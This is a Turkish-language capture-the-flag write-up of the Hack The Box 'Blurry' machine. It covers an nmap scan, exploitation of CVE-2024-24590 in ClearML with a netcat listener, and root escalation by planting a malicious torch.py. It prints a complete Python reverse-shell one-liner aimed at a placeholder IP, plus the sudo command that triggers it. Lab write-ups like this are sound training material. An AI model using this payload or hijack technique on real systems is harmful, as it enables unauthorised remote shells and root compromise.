Hack The Box “Blurry” Makine Çözümü | CVE-2024–24590

Burak
4 min readSep 12, 2024

--

Merhaba arkadaşlar. Bu paylaşımımda sizlere Hack The Box üzerinde bulunan “Blurry” makinesinin çözümünü anlatacağım.

Bu makinede bizden 2 tane flag bulmamızı istiyor:

  1. user.txt
  2. root.txt

İlk olarak nmap taraması ile başlıyorum.

nmap -sVC -v 10.10.11.19

PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: ClearML
| http-methods:
|_ Supported Methods: GET HEAD
|_http-favicon: Unknown favicon MD5: 2CBD65DC962D5BF762BCB815CBD5EFCC
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Görüldüğü üzere 22/SSH ve 80/HTTP portları açık. Adresi ziyaret ettiğimizde bizi şöyle bir ekran karşılıyor.

Bunun için /etc/hosts dosyasına gidip hedef adresi IP adresine tanıtmamız gerekiyor.
10.10.11.19 app.blurry.htb

Ardından sayfamıza geri döndüğümüzde bizi bir giriş ekranı karşılıyor. ClearML (Machine Learning), makine öğrenimi projeleri için tasarlanmış açık kaynaklı bir platformdur. Zafiyetin konusu ise bunun üzerine.

Full Name yerine rastgele bir şey yazınca başlayabiliyordum. test olarak yazıp giriş yaptım ve dashboard ekranı bizi karşıladı.

Platformda daha önce yayınlanmış bir zafiyet olabilir düşüncesiyle internette biraz research yaptım ve CVE-2024–24590 ile karşılaştım. Bize lazım olan exploit’i, “2” numara ile gösterdiğim linkte buldum.

ClearML Kurulumu

Şimdi yapmamız gereken şey, Dashboard ekranından New Project oluşturmak. Burada, Credentials oluşturma adımlarını gösterdim. Son görseldeki işaretli alan, bir sonraki adımda gerekli olacak.

Şimdi sıra geldi makinemize ClearML kurmaya. Bunun için terminale aşağıda verdiğim kodu yazıp ClearML’i indiriyoruz. Kurulumdan sonra clearml-init komutunu çalıştırıyoruz.

pip install clearml

Çıkan ekrana yukarıda oluşturduğumuz Credential’ı buraya kopyalıyoruz. Eğer bendeki gibi bir hata alırsanız, uyarıda da söylendiği gibi, api ve files subdomain’lerini /etc/hosts ‘a eklememiz gerekiyor. Ekledikten sonra hata almayacaksınız.

CVE-2024–24590 Exploit Kurulumu

Eveeet, şimdi exploite geçebiliriz. İlk olarak dinleyeceğimiz portu seçiyoruz ve nc ile dinlemeye başlıyoruz: nc -nvlp 1234. Diğer yandan exploit'imizi çalıştırıp 1–2 dakika bekliyoruz. Böylelikle ilk shell'imizi almış oluyoruz.

Privilege Escalation

sudo -l komutu ile root yetkisinde neler çalıştırabileceğime bakıyorum ve bazı şeyler görüyorum. Burada evaluate_model, models pathi altındaki .pth ile biten bütün dosyaları arar ve içinde kötü bir içerik varsa kaldırır, ardından çalıştırır.

Araştırmam sonucunda, evaluate_model.py dosyasının PyTorch kütüphanesini dahil etmek için import torch komutunu kullandığını gördüm. Eğer bu kütüphaneyi manipüle edebilirsem, root olarak erişebilirim diye düşündüm. Yani şöyle: /models pathi altında torch.py dosyası oluşturacağım ve bu dosyaya kendi scriptimi yazacağım. Ardından sudo /usr/bin/evaluate_model /models/demo_model.pth komutunu çalıştırırsam, PyTorch kütüphanesini import ederken benim yazdığım scripti çalıştıracak ve root olarak shell almış olacağım. :D

Aşağıdaki komutu, IP ve PORT bilgilerini düzenleyerek yazıyoruz. Diğer yandan nc ile portu dinlemeye alıyoruz.

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("MACHINE_IP",9191));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > /models/torch.py

Ve son vuruşu aşağıdaki komut ile gerçekleştirebiliriz…

sudo /usr/bin/evaluate_model /models/demo_model.pth

Bu makalemde sizlere Hack The Box üzerindeki Blurry makinesinin çözümünü elimden geldiğince aktarmaya çalıştım. Umarım faydalı olmuştur. Bir sonraki makalede görüşmek dileğiyle…

Burak
Offensive Security

--

--